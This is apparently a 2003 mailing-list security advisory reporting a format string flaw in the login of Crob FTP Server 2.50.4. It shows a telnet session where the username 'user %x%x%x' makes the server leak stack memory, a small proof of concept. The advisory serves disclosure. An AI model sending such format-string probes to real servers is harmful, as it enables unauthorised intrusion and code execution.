OSEC

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Format String Vulnerability in Crob Ftp Server

From: Luca Ercoli (luca.ercoliinwind.it)
Date: Mon Jun 02 2003 - 11:55:10 CDT


Package: Crob Ftp Server
Auth: Crob Software Studio (www.crob.net/studio/ftpserver/)
Version: 2.50.4 Build 228
Vulnerability: Format String
Risk: High

Vulnerability
Description:

A format string flaw in the authentication process allows remote attackers
without valid user/pass to execute arbitrary code.

C:\>telnet 192.168.0.1 21

220- Crob FTP Server V2.50.4
220 Welcome to Crob FTP Server

user %x%x%x

331 Password required for 0d1250b70

Luca Ercoli luca.ercoli[at]inwind.it